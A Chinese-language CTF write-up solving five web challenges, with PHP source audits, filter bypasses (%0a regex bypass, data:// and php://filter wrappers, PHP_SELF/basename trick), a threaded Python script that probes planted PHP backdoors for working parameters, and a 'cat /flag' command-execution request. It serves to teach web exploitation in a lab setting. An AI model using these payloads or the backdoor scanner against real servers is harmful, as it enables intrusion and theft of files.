[MRCTF2020]套娃
考察知识点:非法参数名传参,代码审计,JSFuck
打开题目没有什么东西,查看源码,
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
得到这一串代码,进行代码审计;
$_SERVER['QUERY_STRING']:指的是查询的字符串,即地址栏?之后的部分;
%5f指的是_,那就是查询的字符串中不能存在_,php在解析字符串时会把点和空格解析成_
怎么绕过用b.u.p.t或者b+u+p+t进行绕过;
大佬的博客:https://mochu.blog.csdn.net/article/details/115050295 这里有详细的记载
第一段if语句绕过之后,就是绕过第二段代码,它要求必须不等于2333,但又要去匹配2333,我想的是用弱比较方面的知识去绕过,当时没做出来,但时发现这里是强比较,所以去绕过preg_match(),用%0a去绕过,%0a是preg_match()中的换行符,所以就顺理成章的绕过了
绕过之后它又说:FLAG is in secrettw.php
访问这个文件查看源码,得到一个([!这种编码,这是jsfuck编码,解码网站:JSFuck - Write any JavaScript with 6 Characters: []()!+
将编码复制上去,点击Run This 就可以得到让我们post一个Merak
post Merak=1 这个1是随便输入的;
传上去之后它说我们不是本地ip,本地ip是127.0.0.1,并且我们可以得到源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
进行代码审计
第一个关键代码
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
要求ip为127.0.0.1 然后2333等于一串字符串,这都是老生常谈的知识点了,用data协议进行绕过
data:text/plain,todat is a happy day,接下来就是审计file的条件了,file前面有change()这个函数,那么我们就看看change这个函数
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
change()这个函数要求先要将传入的函数进行base64解码,然后将这个求出这个字符的ASCII码加上i*2之后在将ASCII码返回字符,这里介绍两个函数
ord() //将ASCII码转为字符
chr() //将字符转为ASCII码
这里我们需要将这个函数表示的效果逆一下,从而让它返回flag.php,从而输出flag.php就可以得到flag了
以下是返回去的脚本
import base64
res = b""
c = "flag.php"
d = len(c)
for i in range(d):
res += bytes([ord(chr(ord(c[i]) - i * 2))]) # 将每次计算的结果添加到res中
e = base64.b64encode(res)
print(e)
运行脚本可以得到如下编码
ZmpdYSZmXGI=
最后get传参payload为
/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
bp传参页面如图所示
flag就出来了,这道题学到的东西不少
[Zer0pts2020]Can you guess it?
首先打开题目,点击source查看源码,源码如下
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
有用的源码为
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
代码审计
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
解释一下这个正则表达式, / 这个符号表示正则表达试的开始,\.表示它就是一个点\是一个转义符号,也就是匹配config.php,在有一个转义符号\/表示/,*表示匹配一次或多次,这里表示匹配/一次或多次,/i表示不区分大小写,总体来说这个正则表达式就是匹配config.php/,/匹配一次或多次,
$_SERVER['PHP_SELF'])这个参数我见了许多次,在这里解释一下
$_SERVER用于获取当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF']将得到 /test.php/foo.bar
如果url是:http://xxx/index.php/a.php/a/b/c/d/?a=1
$_SERVER['PHP_SELF']的值就是index.php/a.php/a/b/c/d/ (忽略传参)
这里这里面的参数也不能出现正则表达式的内容
这里有两种方法;
都是为了绕过正则首先第一个
url/index.php/config.php/??source
绕过正则接着就是直接利用baename()函数就可以去访问config.php,然后我认为就是source为空没有赋值,而guess为空也没有赋值就相等输出flag
第二种方法也是绕过正则表达式,用%ff不可识别字符进行绕过,同时使用了basename payload
url/index.php/config.php/%ff?source
理由同上,在这里解释一下basename函数
在这里简单说一下basename()的特性,当遇到单独一个文件名时,它会截取最后一段作为文件名,如果遇到不可识别的字符如%ff就会返回上一级目录进行截取当作文件名,那么这两个payload就可以解释的通了,在最后加上%ff就可以绕过正则同时可以利用basename()了;
这个学到了一些绕过
[ASIS 2019]Unicorn shop
这道题刚开始没明白什么意思,最后才了解到只能输入一个字符并且能够买最后那只彩虹独角兽,才可以得到flag,Unicode - Compart,这个网站可以找到这种汉字,比如ↂ就代表数值是10000,最后中文的万和亿也是可以使用的;
[强网杯 2019]高明的黑客
打开网页,下载源码,老规矩看见源码太多并且文件名也看不懂,就用d盾扫一下,一扫发现全是后门,搞得我都不知道用那个了,打开后发现全为空,附上大佬的脚本,用于找到可以用的后门
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) )) #只是一个简单的时间函数,看起来更漂亮罢了
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/test1/"
os.chdir(filePath) #改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) #得到该目录下所有文件的名称
session = requests.Session() #得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire() #好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #更好看,同时可以对比不加线程和加线程的时间对比
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/test1/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() #对应于之前的多线程打开
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
xk0SzyKwfzw.php?Efa5BVG=cat /flag
最后利用后门就可以得到flag了
[HarekazeCTF2019]encode_and_encode
这道题主要是去审计代码,其它的没啥难度
打开source code 查看源码
php
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
这段代码前面就是一些过滤,一些黑名单,然后将page进行json传入,最后
json解析时的关键字过滤可以采用unicode编码,json是支持用unicode编码直接表示对应字符的,如下两个写法是等价的。
payload
php
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
最后将那串字符串进行base64解密就可以得到flag了